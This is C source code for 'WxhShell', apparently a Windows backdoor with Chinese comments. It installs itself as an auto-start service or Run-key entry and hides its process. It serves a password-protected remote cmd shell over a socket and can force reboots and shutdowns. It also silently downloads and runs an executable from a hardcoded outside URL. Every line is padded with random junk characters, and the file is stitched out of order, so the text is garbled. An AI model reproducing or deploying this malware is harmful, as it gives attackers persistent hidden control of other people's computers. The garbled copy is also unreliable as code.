    if(Boot(SHUTDOWN)) ;%' b;+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @}<"N  
    else { X rF3kz!44  
    closesocket(wsh); VFv9Q2/.  
    ExitThread(0); *'D=1{WZ!  
    } !;%y$$gxh  
    break; dY}pN"  
    } NYBe"/}GS  
  // 获取shell ^ [k0k(_  
  case 's': { g \Wj+el}  
    CmdShell(wsh); 8j%'9vPi  
    closesocket(wsh); gv#4#]  
    ExitThread(0); mN;+TN'?{  
    break; y&"!m }  
  } <I; 5wv  
  // 退出 =SAV|  
  case 'x': { IdPn%)>6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,CciTXf  
    CloseIt(wsh); Z%}4bJ  
    break; %aU4,j^],o  
    } xjo;kx\y^  
  // 离开 rK1-Mu  
  case 'q': { t9FDU  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `>6T&  
    closesocket(wsh); ;QBh;jg4  
    WSACleanup(); j!\dn!Xwt  
    exit(1); ?}}qu'N:N  
    break; %,\=s.~1  
        } hN   
  } 22 &'@C>  
  } .2.qR,"j  
u-JpI-8h  
  // 提示信息 #)s!}X^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2*[QZ9U[@  
} ]f8L:=c  
  } gZO&r#   
m:uPEpcU  
  return; [:h5}  
} ` #OSl  
5.vG^T0w  
// shell模块句柄 T%$jWndI  
int CmdShell(SOCKET sock) /7D<'MF  
{ mM_ k ^4:  
STARTUPINFO si; nirDMw[  
ZeroMemory(&si,sizeof(si)); X^s2BW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a~PK pw2%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e(?]SU|  
PROCESS_INFORMATION ProcessInfo; r^0F"9eOL  
char cmdline[]="cmd"; m&*JMA;^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I|9 SiZ0  
  return 0; ) 1 m">s4  
} ;"kaF!  
SJ?cI!=x  
// 自身启动模式 >yB(lKV  
int StartFromService(void) /Fgw$ ^H  
{ "ZrOrdlg+A  
typedef struct ^v&D;<&R  
{ W3H+.E  
  DWORD ExitStatus; q?):oJ  
  DWORD PebBaseAddress; */^QH@P  
  DWORD AffinityMask; `=UWqb(K_  
  DWORD BasePriority; 424(3-/v;  
  ULONG UniqueProcessId; piy`zc- yu  
  ULONG InheritedFromUniqueProcessId; UC HZ2&  
}   PROCESS_BASIC_INFORMATION; q_kdCO{:df  
#bX9Tu0  
PROCNTQSIP NtQueryInformationProcess; IQZ#-)[T"  
) ZfdQ3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \xv;sl$f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,:LA.o}h  
!|ak^GE:(%  
  HANDLE             hProcess; zcrY>t#l  
  PROCESS_BASIC_INFORMATION pbi; ziPR>iz-  
Fz#X= gmG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Lk\P7w{  
  if(NULL == hInst ) return 0; FMA6_fju4  
WOzf]3Xcj  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); GZI`jS"lU  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s\!>"J bAQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %`Z+a.~U  
Guz"wY  
  if (!NtQueryInformationProcess) return 0; 7f rTTSZ  
o1 M$.*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;AO#xv+#  
  if(!hProcess) return 0; 8Nu=^[qwQM  
[8tL"G6s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Po%LE]v,  
n]E?3UGD@W  
  CloseHandle(hProcess); :#@= B]  
Tg!m`9s+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lXcx@#~  
if(hProcess==NULL) return 0; lpz2 m\  
Z#rB}  
HMODULE hMod; "g$IP9?U  
char procName[255]; `BlI@6th  
unsigned long cbNeeded; ZK>WW  
H\TI[JPAl  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dqN5]Sb2B  
0#nPbe,Lj  
  CloseHandle(hProcess); "'D=,*  
+E{|63~q  
if(strstr(procName,"services")) return 1; // 以服务启动 V4_=<W  
 4^M  
  return 0; // 注册表启动 l<A|d{"]  
} @3zg=?3  
Z<vKQ4 G  
// 主模块 3\XU_Xs(]  
int StartWxhshell(LPSTR lpCmdLine) "1%5,  
{ p,eTY[k?  
  SOCKET wsl; B]Thn  
BOOL val=TRUE; C#Na&m  
  int port=0; b:TLV`>/&  
  struct sockaddr_in door; h2XfC. f  
2.l:O2<  
  if(wscfg.ws_autoins) Install(); ]@phF _  
hpD!2 K3>  
port=atoi(lpCmdLine); $42{HFGq  
9po3m]|zy  
if(port<=0) port=wscfg.ws_port; UWd=!h^dt  
e]zBf;9 J  
  WSADATA data; L6|oyf  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; oU.R2\Q  
(&F ,AY3A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   uFinv2Z '  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !WQ-=0cm  
  door.sin_family = AF_INET; G$F<$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); heV=)8  
  door.sin_port = htons(port); +[\FD; >  
SC)g^E#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { L?mrba y  
closesocket(wsl); j}.\]$J  
return 1; !ug8SAOaz/  
} n'E(y)9|  
1SCR.@ k<  
  if(listen(wsl,2) == INVALID_SOCKET) {  Ac2n  
closesocket(wsl); ;;6uw\6 O  
return 1; of%Ktm5Qi  
} @1o/0y"  
  Wxhshell(wsl); q_MG?re  
  WSACleanup(); __G?0*3G  
&m)6J'q3k  
return 0; pZqq]mHK  
R6;=n"Ueb  
} >4TaP*_  
r\'A i6  
// 以NT服务方式启动 o$jLzE"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) uKUiV%p!  
{ g| I6'K!<  
DWORD   status = 0; O;:mCt _H  
  DWORD   specificError = 0xfffffff; su{poQ}K  
P3+5?.p.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4%>$-($  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; s(/; U2"e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^/I 7|u]  
  serviceStatus.dwWin32ExitCode     = 0; < $lCkSx<Q  
  serviceStatus.dwServiceSpecificExitCode = 0; N4F.Y"R$(  
  serviceStatus.dwCheckPoint       = 0; 6xTuNE1  
  serviceStatus.dwWaitHint       = 0; MyJ%`@+1  
{?}E^5Z*g  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0zmE>/O+  
  if (hServiceStatusHandle==0) return;  *x@Onj  
.WA-&b_  
status = GetLastError(); CQF:Rnb  
  if (status!=NO_ERROR) 5Ha9lM2gh  
{ 5q3JI  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gmw|H?]  
    serviceStatus.dwCheckPoint       = 0; E7j(QO f  
    serviceStatus.dwWaitHint       = 0; SJb&m-  
    serviceStatus.dwWin32ExitCode     = status; . qO@Q=  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2_HNhW  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); qkDI](4  
    return; ^c"jH'#.L  
  } '3 /4?wi  
vdivq^%=a  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {6|38$Rl  
  serviceStatus.dwCheckPoint       = 0; Y!-M_v/  
  serviceStatus.dwWaitHint       = 0; 46_xyz3+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _.tVSV p  
} =_JjmTy;a  
mqD}BOif  
// 处理NT服务事件,比如:启动、停止 2=,lcWr  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5Dm.K?l;  
{ >%}C^gu)  
switch(fdwControl) 6m* QX+  
{ ]b2pG'  
case SERVICE_CONTROL_STOP: ^a0um/+M}  
  serviceStatus.dwWin32ExitCode = 0; EN<F# Y3E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; JVvs-bK5  
  serviceStatus.dwCheckPoint   = 0;  VA6}  
  serviceStatus.dwWaitHint     = 0; at#ja_ hd  
  { ?~BC#B\>o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gw/Pk4R  
  } S 6@u@C  
  return; 4KhV|#-;k  
case SERVICE_CONTROL_PAUSE: e'6/` Evqz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; LO9=xGj.  
  break; cLpYW7vZ[  
case SERVICE_CONTROL_CONTINUE: ~7*.6YnI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6iVxc|Ia  
  break; 6M @[B|Q(  
case SERVICE_CONTROL_INTERROGATE: n4;.W#\  
  break; }aa'\8  
}; ,>bh$|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SA&Rep^  
} W,V:R  
c69C  
// 标准应用程序主函数 xI#9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Qp)v?k ]  
{ oR)Jznmi}  
@Q)OGjaq  
// 获取操作系统版本 @'#,D!U  
OsIsNt=GetOsVer(); @K  &GJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); B3pCy~*5  
o |{5M|nD  
  // 从命令行安装 \tf <B\oa  
  if(strpbrk(lpCmdLine,"iI")) Install(); !`Fxa4i>  
>K_(J/&p  
  // 下载执行文件 [_R~%Yh+'E  
if(wscfg.ws_downexe) { ,k +IPkN+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) CpUk Cgg  
  WinExec(wscfg.ws_filenam,SW_HIDE); [\^ n=  
} pA'4|ffwe  
zqimR#u  
if(!OsIsNt) { 1-8mFIK  
// 如果时win9x,隐藏进程并且设置为注册表启动 CKYc\<zR0l  
HideProc();  ~^NtO  
StartWxhshell(lpCmdLine); u 1J0$  
} Ec!"O3%!M^  
else 8bTn^!1  
  if(StartFromService()) RuL i,'u  
  // 以服务方式启动 ity & v 9  
  StartServiceCtrlDispatcher(DispatchTable); <T` 7%$/E  
else ($q-_m  
  // 普通方式启动 "Gsc;X'id  
  StartWxhshell(lpCmdLine); Z;h t  
$SlIr<'*"  
return 0; v [wb~uw\  
} :}He\V  
9P1OP Xv*p  
(!ux+K  
)tC5Hijq,  
=========================================== :(/~:^!  
LdYB7T,  
v> LIvi|]  
h9t$Uz^N  
MU`1LHg  
R{C(K(5/  
" `l\7+0W  
m( r,Acy6  
#include <stdio.h> =:xW>@bh|  
#include <string.h> j@n)kPo,1  
#include <windows.h> EuZ<quwWg  
#include <winsock2.h> @:oXN]+ _  
#include <winsvc.h> Ot4 Z{mA  
#include <urlmon.h> b)6D_Az7c  
%R}qg6dL  
#pragma comment (lib, "Ws2_32.lib") , Rk9N  
#pragma comment (lib, "urlmon.lib") ax"+0L {  
^=GC3%  J  
#define MAX_USER   100 // 最大客户端连接数 ui< N[  
#define BUF_SOCK   200 // sock buffer &C `Gg<  
#define KEY_BUFF   255 // 输入 buffer E(*0jAvO[z  
J?*1*h  
#define REBOOT     0   // 重启 DwM)r7<Ex  
#define SHUTDOWN   1   // 关机 U\g/2dM  
F6|TP.VY_.  
#define DEF_PORT   5000 // 监听端口 .M qP_Z',  
@CpfP;*{w`  
#define REG_LEN     16   // 注册表键长度 )1]ZtU  
#define SVC_LEN     80   // NT服务名长度 %"q9:{m  
2":pE U{E  
// 从dll定义API Ansk,$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); dH;8mb|#'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bZ dNibN  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); eQ$Y0qH1E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); KI.q@zO6|  
P@,XEQRd`  
// wxhshell配置信息 .N,bIQnj  
struct WSCFG { AuvkecuIh  
  int ws_port;         // 监听端口 (o 5s"b  
  char ws_passstr[REG_LEN]; // 口令 .eS<Dbku<  
  int ws_autoins;       // 安装标记, 1=yes 0=no T(#J_Y  
  char ws_regname[REG_LEN]; // 注册表键名 piJu+tUy  
  char ws_svcname[REG_LEN]; // 服务名 d?y4GkK  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @D]5civm_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "H=6j)Cb  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &xU[E!2H%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C(eTR1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" S-a]j;U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?fQ'^agq  
iJ ($YvF4  
}; =-0/k;^  
Q0)#8Rcm  
// default Wxhshell configuration 9"N~yKa`"K  
struct WSCFG wscfg={DEF_PORT, O\ GEay2  
    "xuhuanlingzhe", =Z{O<xw'  
    1, KWq+PeB5TS  
    "Wxhshell", K='z G*$l  
    "Wxhshell", WO7z  
            "WxhShell Service", sZ3KT&  
    "Wrsky Windows CmdShell Service", lXx=But  
    "Please Input Your Password: ", J-[,KME_^  
  1, IDad9 Bx  
  "http://www.wrsky.com/wxhshell.exe", 7!e vm;A  
  "Wxhshell.exe" gI&#o@Pm  
    }; D.r<QO~6B  
t*=CZE-  
// 消息定义模块 M  f}~{+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5^}\4.eXo  
char *msg_ws_prompt="\n\r? for help\n\r#>"; I )~GZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MOQ6 :  
char *msg_ws_ext="\n\rExit."; 3#W T.4k  
char *msg_ws_end="\n\rQuit."; N&.H|5  
char *msg_ws_boot="\n\rReboot..."; FDv<\2+ c  
char *msg_ws_poff="\n\rShutdown..."; OstQqV%@  
char *msg_ws_down="\n\rSave to "; GiJ *Wp  
Oz w.siD  
char *msg_ws_err="\n\rErr!"; I!ED?n  
char *msg_ws_ok="\n\rOK!"; <!&[4-;fU  
HNb/-e ,"  
char ExeFile[MAX_PATH]; S%$ }(  
int nUser = 0; ^8]NxV@l  
HANDLE handles[MAX_USER]; )~& CvJ  
int OsIsNt; aacpM[{f  
n|6Ic,:[  
SERVICE_STATUS       serviceStatus; aR[JD2G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; uY{|szC^2  
PoHg,n]  
// 函数声明 :>rkG?NfL  
int Install(void); $1SPy|y  
int Uninstall(void); zU,9T  
int DownloadFile(char *sURL, SOCKET wsh); 3Lfqdqj  
int Boot(int flag); SDC4L <!  
void HideProc(void); e- ~N"  
int GetOsVer(void); _H9 MwJ  
int Wxhshell(SOCKET wsl); d|jNf</`  
void TalkWithClient(void *cs); #"}JdBn  
int CmdShell(SOCKET sock); |+{)_?  
int StartFromService(void); ?'IP4z;y  
int StartWxhshell(LPSTR lpCmdLine); M5i%jZk  
[ieI;OG;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5v[*:0p'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ajve~8/&  
:)8VdWg  
// 数据结构和表定义 _aq 8@E~  
SERVICE_TABLE_ENTRY DispatchTable[] = t;){D:]k  
{ &]Q@7Nl7:l  
{wscfg.ws_svcname, NTServiceMain}, o m!!Sl3  
{NULL, NULL} Juo^,  
}; ?(xnSW@r  
*tGY6=7O  
// 自我安装  52Yq  
int Install(void) #`~C)=-  
{ +<'Ev~  
  char svExeFile[MAX_PATH]; -TLlwxc^%  
  HKEY key; "N;`1ce  
  strcpy(svExeFile,ExeFile); ?K1/ <PE+  
"H2EL}3/]  
// 如果是win9x系统,修改注册表设为自启动 WEAT01  
if(!OsIsNt) { mR!1DQ.\<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M|VyV (f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1&\0:vA^Y  
  RegCloseKey(key); ;[(oaK@+n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y$;/Vm_'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); []D&bYpv  
  RegCloseKey(key); t1]K<>g  
  return 0; C=-=_>Q,L<  
    } 3W V"U  
  } zlyS}x@p  
} 3Nl <p"=  
else { p$O.> [  
3N 8t`N  
// 如果是NT以上系统,安装为系统服务 zh%#Y_[R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); PoNi "Pv  
if (schSCManager!=0) 9q)Kfz  
{ N>Xo_-QCY  
  SC_HANDLE schService = CreateService \TIT:1  
  ( ]{!U@b  
  schSCManager, eFipIn)b  
  wscfg.ws_svcname, bT</3>+C  
  wscfg.ws_svcdisp, /Jta^Bj  
  SERVICE_ALL_ACCESS, Y&`=jDI  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W'els)WJ|x  
  SERVICE_AUTO_START, .GbX]?dN  
  SERVICE_ERROR_NORMAL, GXcJ< v  
  svExeFile, eJ,/:=QQ{  
  NULL, r=Gks=NX"  
  NULL, oL-]3TY~  
  NULL, Y=%tn8<  
  NULL, MvuQz7M#d  
  NULL % BVs47g  
  ); ysJQb~2q  
  if (schService!=0) >u>5{4  
  { )S3\,S-.  
  CloseServiceHandle(schService); "Hya6k>j  
  CloseServiceHandle(schSCManager); IO wj>t  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o\BOL3H  
  strcat(svExeFile,wscfg.ws_svcname); LI'6R=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :v0U|\j8/V  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 16w|O |^<  
  RegCloseKey(key); ,k.3|aZE  
  return 0; B{/R: Hm  
    } 8Pfb~&X^Ws  
  } Y5f1lUT  
  CloseServiceHandle(schSCManager); Q}`0W[a ~  
} @>u}eB>Kn  
} ,NOsFO-`<  
~Io7]  
return 1; j_/>A=OD  
} *lYVY) L  
-^K"ZP1  
// 自我卸载 Amp#GR1CA  
int Uninstall(void) y?rPlA_  
{ \j+1V1t9  
  HKEY key; iMAfJ-oN  
)5rb&M}  
if(!OsIsNt) { 6 uv#de  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bNm#tmSt  
  RegDeleteValue(key,wscfg.ws_regname); ICpAt~3[M  
  RegCloseKey(key); jGJLSEe_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .I$qCb|FP  
  RegDeleteValue(key,wscfg.ws_regname); kd>hhiz|  
  RegCloseKey(key); j1^I+j)  
  return 0; 1!ii;s^e  
  } R"4Vtww  
} 1=r#d-\tR  
} 4Fa~Aog  
else { "C }b%aO:  
Hek*R?M|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0[A[U_b  
if (schSCManager!=0) t=rEt>n~L  
{ j-0z5|*KE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); lyIl-!|  
  if (schService!=0) eds o2  
  { 2X.r%&!1M  
  if(DeleteService(schService)!=0) { oin$-i|Xp!  
  CloseServiceHandle(schService); <x@}01 ~  
  CloseServiceHandle(schSCManager); YO#M/%^j  
  return 0; Q8C_9r/:N>  
  } ,f<?;z  
  CloseServiceHandle(schService); -5 RD)(d  
  } ccNd'2P  
  CloseServiceHandle(schSCManager); |)nZ^Cc  
} +?F[/?s5qz  
} -1 FPkp  
L E&RY[  
return 1; Y}x>t* I  
} 4^:\0U F  
4Z1ST;  
// 从指定url下载文件 :X0k]p  
int DownloadFile(char *sURL, SOCKET wsh) %WSo b@f8  
{ s&A} h  
  HRESULT hr; mi ik%7>W  
char seps[]= "/"; @"hb) 8ng  
char *token; nePfu G]Q  
char *file; 5*E]ETo@R  
char myURL[MAX_PATH]; uvMy^_}L  
char myFILE[MAX_PATH]; .GV;+8HzS  
zepm!JR1  
strcpy(myURL,sURL); x%}^hiO<q  
  token=strtok(myURL,seps); ,">]`|?  
  while(token!=NULL) 8hXl%{6d3  
  { RzxNbeki[W  
    file=token; ;P;-}u  
  token=strtok(NULL,seps); =V-A@_^!c  
  } a,xycX:U  
ks"|}9\%<  
GetCurrentDirectory(MAX_PATH,myFILE); S-Wzour,  
strcat(myFILE, "\\"); 0M*Z'n +  
strcat(myFILE, file); rw: c  
  send(wsh,myFILE,strlen(myFILE),0); $RYa6"`  
send(wsh,"...",3,0); Q(@U2a8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W6f/T3  
  if(hr==S_OK) 4S5,w(6N  
return 0; j\,EO+ZQCv  
else &wi e]  
return 1; Uhe=h&e2k@  
JX -' mV`  
} 4y)P>c  
| 1E|hh@k  
// 系统电源模块 |s'Po^Sy  
int Boot(int flag) ?a8^1:  
{ <d,b'<z s  
  HANDLE hToken; lH-/L(h2  
  TOKEN_PRIVILEGES tkp; Z9:-rcr  
M|6A0m#Q  
  if(OsIsNt) { [.m`+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Yb +yw_5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \wo?47+=  
    tkp.PrivilegeCount = 1; >[MX:Yh  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `)` n(B  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mX_a^_[G  
if(flag==REBOOT) { Ewu O&q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) UADFnwR[R  
  return 0; 6,)[+Bl  
} iEd\6EZ  
else { /h+8A' ,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ozAS[B6  
  return 0; ]j'p :v  
} {/"2Vk<H8  
  } (}a8"]Z  
  else { ^=T$&gD  
if(flag==REBOOT) { DSC$i|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PfreAEv,  
  return 0; 5Y.vJz  
} IAYR+c  
else { #OIcLEn%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k,'L}SK  
  return 0; |?rNy=P,  
} Du`JaJI  
} I Y2)?"A  
4xk|F'6K  
return 1; uv=.2U46  
} } E0,z  
.Si,dc\  
// win9x进程隐藏模块 *FC=X)_&W  
void HideProc(void) P\w\N2  
{ .$Ik`[+Z  
(&}i`}v_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,a gc  
  if ( hKernel != NULL ) !_`&Wks  
  { 4#ug]X4Y')  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8)O[Aq::  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c\iA89msp  
    FreeLibrary(hKernel); =; ^%(%Y{m  
  } gXYI\.  
T.@aep\"  
return; WX=Jl<  
} '$|[R98  
*+-}P|S:  
// 获取操作系统版本 X*&[u7No  
int GetOsVer(void) E_k$W5  
{ 'SCidN(n  
  OSVERSIONINFO winfo; #bMuvaP~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |UK}  
  GetVersionEx(&winfo); K<pV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) QrfG^GID  
  return 1; 'qjeXqGH$  
  else p89wNSMl[  
  return 0; m1),;RsH  
} $UgA0]q n  
R#2t)y  
// 客户端句柄模块 MOsl_^c  
int Wxhshell(SOCKET wsl) [21 =5S  
{ 3|1i lP  
  SOCKET wsh; w9NHk~LHKF  
  struct sockaddr_in client; ux_Mrh'  
  DWORD myID; ?**+e%$$  
eln&]d;  
  while(nUser<MAX_USER) q8s0AN'@t'  
{ O J/,pLYu  
  int nSize=sizeof(client); q8^^H$<Db  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 29!q!g|  
  if(wsh==INVALID_SOCKET) return 1; X=hYB}}nu  
VG,u7A*Z#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); BlXB7q,  
if(handles[nUser]==0) }RmU%IYc  
  closesocket(wsh); kD*2~Z?;  
else Ys@}3\Mc  
  nUser++; an|x$e7|?  
  } MKy[hT:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *8#i$w11M  
c.,2GwW  
  return 0; NXNY"r7~  
} ^zt-HDBR_  
{.QEc0-  
// 关闭 socket @$LWWTr;  
void CloseIt(SOCKET wsh) 5D_fXfx_|  
{ ;\lW5ZX  
closesocket(wsh); et,f_fd7v  
nUser--; sYjpU  
ExitThread(0); O>^C4c!  
} P5 K' p5}#  
*tgnYa[l  
// 客户端请求句柄 | \'rP_I>  
void TalkWithClient(void *cs) W6"v)Jc>_  
{ 3 |hHR  
qxFB%KqU  
  SOCKET wsh=(SOCKET)cs; Svc|0Ad&  
  char pwd[SVC_LEN]; SILQ  
  char cmd[KEY_BUFF]; c3:,Ab|  
char chr[1]; UVw~8o9s  
int i,j; ag*mG*Z  
:cq9f2)  
  while (nUser < MAX_USER) { 0TGLM#{  
>S'17D  
if(wscfg.ws_passstr) { +RnkJ* l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qW!]co  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s<oNE)xe  
  //ZeroMemory(pwd,KEY_BUFF); 1_\;- !t  
      i=0; !1q 9+e  
  while(i<SVC_LEN) { E}sO[wNPf  
q)Fq i  
  // 设置超时 ?pn}s]*/  
  fd_set FdRead; S zUpWy&  
  struct timeval TimeOut; oo=Qt(#  
  FD_ZERO(&FdRead); &4b&X0pU  
  FD_SET(wsh,&FdRead); /%&2HDA)  
  TimeOut.tv_sec=8; %n hm  
  TimeOut.tv_usec=0; c0hwc1kv-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); n@U n  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f}1&HI8r  
:{IO=^D=$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <^zHE=h"  
  pwd=chr[0]; ~$p2#AqX  
  if(chr[0]==0xd || chr[0]==0xa) { qIY~dQ|  
  pwd=0; AwslWkd=  
  break; \/1<E?Q f  
  } Td G!&:>  
  i++; /c2w/+ _  
    } d4nH_?  
L ]w/P|  
  // 如果是非法用户,关闭 socket GDD '[;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .h9l7 nZt  
} ")V130<  
b|+wc6   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2Z3('?\z~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i K12 pw  
S(uf(q|{  
while(1) { 'UMXq~RMe  
wg0 \_@3  
  ZeroMemory(cmd,KEY_BUFF); rMUT_^  
xf b]b2  
      // 自动支持客户端 telnet标准   4dhvFGlW  
  j=0; `67[O4$<  
  while(j<KEY_BUFF) { 6IWxPt ~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {%IExPJ  
  cmd[j]=chr[0]; ,:??P1  
  if(chr[0]==0xa || chr[0]==0xd) {  w~ [b*$  
  cmd[j]=0; f|R"u W +  
  break; u%/goxA  
  } #*TEq  
  j++; `;>= '"O!\  
    } s 1e:v+B]  
RLSc+kDH_  
  // 下载文件 BRk0CLr5  
  if(strstr(cmd,"http://")) { !OT-b>*w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :dLAs@z  
  if(DownloadFile(cmd,wsh)) cIp D~0\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /r-aPJX  
  else $ZNu+tn Y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s%2v3eb  
  } CT1ja.\;  
  else { 2AtLyN'.  
